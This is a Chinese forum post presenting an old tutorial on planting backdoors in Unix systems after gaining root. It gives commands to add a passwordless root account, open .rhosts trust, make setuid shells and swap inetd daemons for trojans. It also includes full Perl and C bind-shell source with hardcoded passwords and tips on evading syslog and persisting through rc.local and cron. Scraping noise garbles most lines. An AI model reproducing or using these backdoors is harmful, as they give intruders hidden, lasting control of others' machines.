找回密码
 注册

QQ登录

只需一步,快速开始

如何创建后门

[复制链接]
发表于 2011-1-13 17:04:25 | 显示全部楼层 |阅读模式
参考文献:
! w% Q0 F/ N. Y  k5 M. X/ b, p$ fArticle: backdoor from The Infinity Concept Issue II   ?* N" ]# j$ f
Src: b4b0.c by b4b0 5 n; O: Q3 V0 O7 [% _9 q/ D$ w
Src: daemonsh.pl by van Hauser / [THC] in 1997'
2 m, n4 w8 n4 X) ?8 d( t4 J, E5 r) c. f7 N
-- # H7 x: Q/ X3 ^( R, m, x7 u) i
) H/ u$ r2 ^% u" g4 _, n3 z6 L
千辛万苦(or 轻而易举)的取得root后,当然希望长久的保持. 以被以后用来。。。d0ing what u want t0 d0 :) 传统的方法就是建立一个后门(backd00r).即使入侵被发现,好 的(先进)后门仍然能够使你再次轻松的破门而入 -- 请记住: " we come back and we are the h.a.c.k.e.r "
3 R6 E. j+ ], M# y: m-- 4 E7 r# u( ?" [2 n! q0 k
创建后门的方法如下: ( c7 S+ v# [: B
- * V! T; B( v. e7 X( u. @
1. setuid
6 n: L+ m3 y* W, l0 p8 f#cp /bin/sh /tmp/.backdoor
. Y2 `% Y3 I; r! i#chmod u+s /tmp/.backdoor 9 t- {: |3 w" i1 Q
加上 suid 位到shell 上,最为简单方便,但也最为容易被ADM 发现 find / -perm 4000 -print;同时在大多数的SUNOS 上 你会发现不能setuid。-- 适用于新手;
, {8 w% n9 S+ C/ S: r2 y4 e- x' ]6 t- 8 ]: H5 K. v" v# ~% Z5 D
2. echo "zer9::0:0::/:/bin/csh" >> /etc/passwd 即给系统增加一个 id 为 0(root)的帐号,无口令; 也很容易被发现。 -- 适用于新手;
$ v+ X6 j7 u3 g5 R) R% F- $ B7 x. n! P# q* O7 u3 S
3.echo "+ zer9">>/.rhosts
; b1 Q& o- b$ t即本地的名为 zer9 的用户可以直接 rlogin target 无须口令此时的 zer9 就相当于口令,不知道的人是不能进去的. 7 f! J$ @8 p" `1 S
前提是目标的port 512or513or514 opening. " t& e7 L0 \& g- E$ m0 \: ^
注: 如 echo "+ +">>/.rhosts 则任何用户都可rlogin至目标 导致目标门户打开,最好不要; , I. ?! \% K) a# A* K. I. x0 H' x
还可 echo "+ +">>/etc/hosts.equiv 但这样不能取得root权限;-- 适用于比新手高一点点,比中级水平低一点点的guys;
% p4 d3 C* Z* M' M/ u, T- % Q, w% f, y+ n% h/ M# q
4.modify sendmail.cf 增加一个"wiz" 命令;
0 L) \0 d' W2 l1 d( uusage: % f% s+ y3 f; v" g$ i, n
telnet target 25 [enter] $ Z& s3 L  ?/ v* A" f5 N
wiz[enter] & G/ R+ v8 q% N1 f# ~) T
这是我从SAFEsuite中学到的(但没试过);比较危险。因为几乎所有的扫描器都会刺探本漏洞。不过你可把命令本身该成其他不易猜到的名字。比较复杂,危险,但ADM不易发现,隐蔽性较强;你只在你的机器上试一试就okay了;-- 顾名思意,大师级漏洞;
# ^  i1 }+ |! v* M8 \-
8 b7 g2 V. L- n! P6 A2 i5. crack suck as inetd,login,... 9 _- a# d" z! n" Z0 P- K3 F
即安装它们的特络绎版本。你需要找到各版本unix的rootkit;然后分别编译即可;-- 如果目标机上没有安装 tripwire之类的东东,那几乎不可能被发现。linux&sunos&freebsd的可能好找,但其他的了?即使你找到了,你有对应平台上的编译器吗?我有一台运行 slackware,one running irix,one runningsunos,one running hpux,one running digits unix,...   [. S% P8 b  X- m3 H- G
hahhahha,我又做梦了:) 5 ^* m7 y2 r' j& ]2 {
-- 我个人认为是最好的方法,但实现起来有一定风险,你必须考虑到如果你的木马运行出错怎么办--因为我们所做的一切都必须以不破坏目标机上的任何数据为原则; * ]9 X- W! p* L
-
1 Q8 w$ f$ W) y) [- k8 ^6.ping rem0te backd00r + m1 n2 N9 X& D. I2 M9 k5 J
即使是防火墙也很少阻止 ICMP 的通过,因此本后门可绕过防火墙。具体的程序你可在 [THC] 的主页发现;我想到了另外一种直接用ping命令实现的可通过防火墙的方法 :一方在防火墙内,一方在防火墙外;除 ICMP 外;通向防火墙内的信息均被过滤掉 :(用 60k data 代表长,10k data 代表短;使用摩尔思编码;(或其他自定义编码)双方通过 ICMPinfo 接受信息(ping 's data length);“嘀,嘀,嘀嘀,嘀,嘀嘀嘀...""长江长江,我是黄河--- 向我开炮!向我开炮”(^o^);以后有时间我会通过程序来实现验证可行性的。(技术上应该没有什么难度) * G, X1 K: G6 L% R
-
6 x! U0 T5 Y* H' {6 ~" f; h5 B+ Q# ^7.rem0te shell
9 A! \2 l) h% }: K2 V我最喜欢的方式。而且由于绕开了login,故用 who 无法看到--也就是说,避开了utmp&utmpx&wtmp&wtmpx;但没有完全避开 syslogd.ADM仍可以在/var/log/messages中发现
* O1 t$ c% B9 {' y7 l9 k你。不过,有一种方法可以彻底完全的旁路 syslogd!且听下面一一道来. / C2 }2 C% R1 b4 x8 k1 i+ @, Z
bindshell的实现有两种: 2 r+ V! T& i. m6 P5 k
a. 2 _2 G+ p8 n, Z! [" s/ R, w* K
替换掉 inetd.conf 中的不重要服务,如 rlogind :)在inetd 接受 connect 请求后,直接在本端口利用 system("/bin/csh -i");直接spam 出一个shell,
$ t* Y" G4 c$ h7 I6 {b. 接受 connect 后,在高端spam出一个shell; . m. y) B0 Y! z& [/ e9 s, N
(更安全 :)
: b! a4 z/ N9 p) r下面我给出一个perl 实现(不需socket libary支持)(pass on sunos5.5.1&slackware 2.0.33&irix6.4&hpux10.2)和一个 gnuc 的实现(test on slackware 2.0.33&irix6.4) : q$ J8 J1 }. q7 j$ H8 _! I
---
1 M* s, {2 `7 Y  H# |; g; P' ~perl 版安装方法: 6 a" e6 u' ]. ?
###无须编译!!只要目标机上有perl支持就okay!
( L- k9 Z' k1 H如何判断有无perl: $/>perl [enter] : ^3 U( q$ C, V6 p/ f6 r

5 U5 }% z  r1 E! O$ R% ?0 X[ctrl-c]
* z- Z" q- p; `% G- K$/> 4 P. h6 r  p7 G5 o- {! I, }
-
. C3 z/ ], A6 h. d' D' x如果你对 /etc/inetd.conf 中的内容不是很熟的话,下面 $ N+ C* _3 O% O: `
的方法有很大的危险性, exit(-1) please;
5 ]$ T$ D% o: c( O4 e9 D0 q8 v- ! f, R% y: f5 n% ~9 [( o( I6 z
首先将源程序cut,存为你想要替换的daemon,如in.rexecd or or in.rlogind ,in.pop2d....最好是已经被ADM关掉了,而且不太引人注目的daemon,注意,一定要是 TCP types.然后
$ o) j9 Z) ^8 A  W7 U  m7 Ymv /usr/sbin/in.rexecd /usr/sbin/in.rexecd.bak :)) 3 c& b* g) o  i# \+ |  `
cp in.rexecd /usr/sbin/in.rexecd ) f1 _, @& i/ }2 o8 E! @4 @/ u
然后 ps -aux|grep inetd;kill -HUP id(by inetd); 4 u# `1 y/ q5 T2 H& o. F
okay! 连 /etc/inetd.conf 都不要改。重申一点:不论在任何情况下,我们都要尽最大的可能保护数据!
* {# }% s% I( ^0 K( L7 Y-
+ X( Y0 U! m) `# P$ M) PUsage: nc target (such as 512) % i) B/ R, ^) w+ e3 I1 v+ ~
[enter] " k+ B3 ]- k4 A, ?& |& z7 u& D5 c
ur passwd [enter]
) |- B6 |8 s% A7 F1 [  c(then u login in...:) : `! ^. r* d- k; h
% b0 e& ?0 O8 Z$ a* Y& h
----Cut Here------------------------------------------
$ m) G0 _& k. l0 j$ n. x
5 V" R6 a( C, Q" c$ t! a#!/usr/bin/perl
6 f) S2 P' s: N2 _/ E#
) Z- c1 ~5 A. v% O# ~# BEST
7 [, {  ]; S! e# SIMPLE : [* t; @# S3 [7 w! _! {& T
# rem0te bind shell ) \  Y% s& j' y) m- Z3 L" ]( L( f* y
#[perl version only tcp] " v- B; k* a6 u1 M, v* G2 `$ H) ^
# by # W$ h3 T  C% v6 J. A/ l
# zer9[FTT]
' V# }' o. C! g& z( e# zer9@21cn.com
( l" E: o1 S5 I; _) K#passed on allmost unix
/ q  u' q, U; D) P# y& F#greet to:van Hauser/[THC] - _4 o8 ?' t3 m( w2 ^; D& G
# for his daemonshell.pl
1 l9 |6 W1 V8 @#
4 I' }0 D9 O9 A& G5 E& a, h$SHELL="/bin/csh -i";
& X/ S# r  ~7 ?5 g7 m#d3f4ult p4sswd 1s "wh04r3u" (no quote);
, ?" Y8 H$ P! R# \3 S0 `  N$PASSWORD="BifqmATb6D5so";
; X" R* q% ?5 Q  v
8 w$ K8 @3 h& h# ^; U7 W% i1 Lif ($PASSWORD) {
+ ]" k- M6 X2 b. echop($pass=); 2 c/ I9 N% t2 p5 {
if (crypt($pass, $PASSWORD) ne $PASSWORD) { 6 b3 E6 l3 w# |& O* K9 \  f0 E
exit 0; 5 F! y3 Q3 D: ~
}
: h4 P% ?0 |! ]. zexec $SHELL ;
3 {- X7 g6 H: j. j5 ~1 ~: A+ sexit 0; 7 b2 s8 O; [5 R- D2 @5 P
}
& \' @; `8 l$ c, ^5 L( j7 o, L( J' s' b
----Cut Here--------------------------------------------
5 N! ?' R: w1 d/ v# j( o7 k, e4 g& j
0 u6 X. ]# f% u3 b

- p% r- r( s  w3 E% ]
/ J, j8 u" c: k- n# s+ j下面是一个for gnuc 的bindshell,first cut it,save as - d- u9 c2 f- U( C- j3 E- b
backdoor.c ,then cc backdoor.c -o backdoor - f* G  D* f  h
other action just l1ke before; , Y' u" P5 @/ P" }# J
Usage: (exp:binding to in.rlogind (513))
, i" Q* D9 j5 a0 Gnc target 513 //spam a shell on the high port;
9 W2 O% m2 M4 m( N& p) h& @! tnc target 54321 2 v' T7 `- D& M" Q% y$ _- ]
ur passwd 7 D  c& j! ^' ]* m2 @! v
(then u coming in...)
" n; l! G( }+ Y/ x( x" g, z3 n, J( O* x; q% e. _

6 O) d5 @6 P+ f0 Y1 |$ q) X----Cut Here------------------------------------- $ |. G8 B7 h3 a
6 Q) [  ^" \# x& \) V* Y2 i
/*
8 ~* m% @+ b  |* [ b i n d - s h e l l ] ) Z* V# ~1 Y, G8 m: t* U* s
* by % w. w) _5 Z  C: R' p
* zer9[FTT] + x* {# a1 M9 I7 Y
* zer9@21cn.com
. c2 |- A! F9 T( ~*test on slackware 2.0.33&irix6.4(cc)
* I. s8 C8 u. s! \9 R# z* d. l*cc backdoor.c -o backdoor & D4 m8 W! x1 O) g* _* m* A. J
*u c4n p01nt t0 wh1ch p0rt th3 sh3ll t0 sp4m ! m+ n4 s1 f4 }* L/ U
*c0mm4nd l1n3: backdoor [port] + q0 U7 C) `2 t& \/ C- j( Y
*d3fault p0rt 1s: 54321
" S. Y9 @4 W& F' {" G- s2 U6 U. E# o: R8 }*greets to b4b0 for his b4b0.c : I+ ]9 `/ Y9 K5 i7 n
*m4yb3 1 c0uld s4y: 8 [8 n% e/ s5 @- x$ ?
*"0k,b4b0.l1st3n c4r3fully;"
+ z; Z  H$ V$ W; F# z+ B*s0rry,just a joke.
/ h: i2 `! w2 k2 v5 T2 R0 h* & w% S8 \' N* b$ x! L+ E& J; O
*/
1 x# {3 J1 {& {$ t1 p+ S- P+ M' C- ]7 U
#include & T. |8 _5 o9 T6 F
#include
% X! l) U% d! `9 s# j% J3 h#include ! q$ h: n& [2 |! A8 x: @/ J
#include
0 o: ^# X$ H3 Z1 n#include 5 c+ }6 [* Y' V% _  P8 b
#include
9 P  d; }0 i% N0 D; l) E#include 3 b- o/ z% B: p! n$ e! [. `, A
! ^5 Y/ C) {+ _6 Y/ A# z

# C' u" z+ N( ^( w& K7 ]#define PassWord "k1n90fth3w0rld" 8 O8 ]$ \7 W) D
/* u c4n us3 crypt l1b4ry t0 sh4d0w 1t */ + l. k9 h& `- X3 {- K3 u; l8 A  ]
6 h4 M$ D! @' R& i8 n9 a1 H3 i5 X9 o
#define DefaultPort 54321
. ^  T1 \& l' w+ X. w7 A+ V/* d3f4ult b1nd1ng p0rt */
) p) `( ]* A* r" G# s* L
( b. }0 v7 a$ @. \3 j7 T9 Nint main(int argc,char **argv)   c, W5 P! U: Z4 }
{ ) W' r, l4 r; {  g
int s,in_s; ' r7 S9 Y- u# C! m( {1 @
struct sockaddr_in server,client;
% h9 T% U% {" T0 W' ^9 Nint client_len,bindport;
  K. D5 g4 Z5 i; E+ A( V4 S5 Tchar recvbuf[1000];
+ L7 a4 L$ F  e( t3 r0 Z
  \# y* l- {; Y* j% zif(argc!=2) bindport=DefaultPort; % _. T" T; n0 a" `
else 2 n+ |+ k. |5 r8 v7 Y
bindport=atoi(argv[1]);
- w- X- @" ?/ a( qif((s=socket(AF_INET,SOCK_STREAM,0))<0)
  x: C' a% i% Z- j7 E  S! X{ + P! Y) o- Y- N) g. m
perror("socket"); $ \+ w+ }9 n' L7 Y- b! v8 K( y, b
return -1; ) K6 x! }- Y& H
}
$ H( P. ?6 A8 w: D# V0 M  cbzero((char *)&server,sizeof(server));
0 F4 j! ^$ T+ s. i- W6 Ibzero((char *)&client,sizeof(client));
. [! T5 E  g0 d8 d* ~# f8 E2 ^bzero(recvbuf,sizeof(recvbuf));
$ p6 t# y7 _" Y4 Aserver.sin_family=AF_INET;
: v  j5 o# o$ I! K: d2 Kserver.sin_port=htons(bindport);
2 [3 f( D# y% l4 W2 hserver.sin_addr.s_addr=INADDR_ANY;
8 G" Q3 k4 e5 ]2 o0 ~7 qif(bind(s,(struct sockaddr *)&server,sizeof(server))<0) / x3 {' i, K/ x6 l
{
4 H6 C) l) {  B5 N2 t% _1 }4 b; \perror("bind"); ( l, r" Z8 u; c. e4 s
return -1; . D( ?1 v: R+ c
}
4 M- z8 ~5 L" x: Zif(listen(s,3)!=0) 3 ^; v' e9 F! D  J+ N
{ + V' {# X+ c: y
perror("listen");
8 t. s3 j9 l9 z3 B- g# g- ]return -1; 8 l% P' g" s6 A2 z( c' P; Y
}
! _. X/ q% {. \& \9 Q# aclient_len=sizeof(client);
% _' [5 s" G5 f* kif((in_s=accept(s,(struct sockaddr *)&client,&client_len))<0) ' h. w- J  z# n- ^
{ 8 L3 Q! H$ ~' t  B! Q
perror("accept");
- k3 P+ `: c+ u7 D$ {9 @- wreturn -1;
. m$ S; a: j# o  P7 `% w5 R4 _}
" g0 E- D# Y. vrecv(in_s,recvbuf,sizeof(recvbuf),0);
/ X6 ~$ Q$ L  s% ^sleep(1);
! j! t2 h& w9 W6 rif((strlen(recvbuf)-1)==strlen(PassWord)) # j% V" w' _" S: w8 b
if(!strncmp(recvbuf,PassWord,strlen(PassWord)))
0 P& a$ f9 s6 Q. |1 W{ " d) }) `! ]9 |! o. y5 L
send(in_s,"0k4y! c0m1ng 1n...\n",25,0);
2 w9 E. p( t" f$ U" _close(0);close(1);close(2); : L9 o5 O4 r5 B: {
dup2(in_s,0);dup2(in_s,1);dup2(in_s,2);
, X* _$ A) g1 H; l' _execl("/bin/csh","/bin/csh",(char *)0);
3 L2 }* C- N' o) A- j  [% |}
3 e: x* g% c$ p2 Zclose(s); 5 R; \7 b' f, ]* ^- G2 b$ {
close(in_s);
' }# A+ J8 g( u( H3 C  breturn 0;
( R3 `- [% S" q, H5 x} ; ]$ h$ d5 u* c' K

; f/ L# S4 ?- q# K2 ?/ `7 G----Cut Here-------------------------------------------------
* t9 L8 T' X4 U3 }3 }. P. @" c; H3 f( ]" p' Q
用上面的方法都不能完全的避开syslogd,因为他们都是由inetd 启动的,inetd启动它们的同时已经进行log 了;旁路掉inetd就能完全避开syslog!方法很简单,只要直接在命令行直接启动例程2(c)就可以了,(1perl不行);不过这样很麻烦;一旦ADM关掉计算机就玩完了;比较好的方法是在 /etc/rc.d/rc.local中加入:
! l! N; [: J1 K* W3 q- H. Kbackdoor & : n) a' w* D/ d) B) ]
但即使这样作了,每次用过后还要再起动一次;更好的方法是写一个具有完全功能(后门功能^o^)的daemon,彻底的解决这个问题;但这样做与hack inetd 那样更有效率(安全)了? 3 C4 ?% @& L2 Y6 K* h4 }" R
-- 7 H1 L6 q# y4 D
8.第八种武器就是 crontab
8 T- @7 f1 }3 Y( x! B  M: ?我只知道原理,没实践过.每到一定时间就往 /etc/passwd 中加入一条uid为0(root) 5 x  X" R9 G) [3 Z# l
的用户;时间一道就delete ,或创建suid's shell...在序言中提到的文章中有详细介绍; # O# V" u, O! ?$ D  M: V
--
; a9 N$ X$ \9 k  g/ N& r9.有没有想过只要向系统的一个用户发一个email,OS 就会spam出一个shell?利用用户的home目录下的 .forward 可作到这一点。
$ ?2 H0 H2 J4 @* V* [4 N-- & P: |* Q$ i" i/ N+ p/ d
10。修改内核--超级高手的做法;2.2.0的解压文件达到了50几MB,看到就头痛。接着就 jmp ffff0 :) (不是看到内容,而是看到大小);[THC]最近出了篇文章关于这个的。你对自己有信心的话可以看看; 8 J* k( M& }  f- n, K# d
-- * F: J" Z7 U; K/ F1 e' E4 Y$ j5 z
11.还有就是利用 overflow 程序,虽然我们一般是利用它取得root;但只要 ADM && u 没有 patch ,始终我们可以利用它的,与suid不同的是它不怕被 find / -perm 4000 发现;一般只有 tripwire可发现。 $ @6 Z0 i9 B0 {/ ~! B# j
; a6 ^3 C# \, [
您需要登录后才可以回帖 登录 | 注册

本版积分规则

QQ|本地广告联系: QQ:905790666 TEL:13176190456|Archiver|手机版|小黑屋|汶上信息港 ( 鲁ICP备19052200号-1 )

GMT+8, 2026-6-14 23:34

Powered by Discuz! X5.0

© 2001-2026 Discuz! Team.

快速回复 返回顶部 返回列表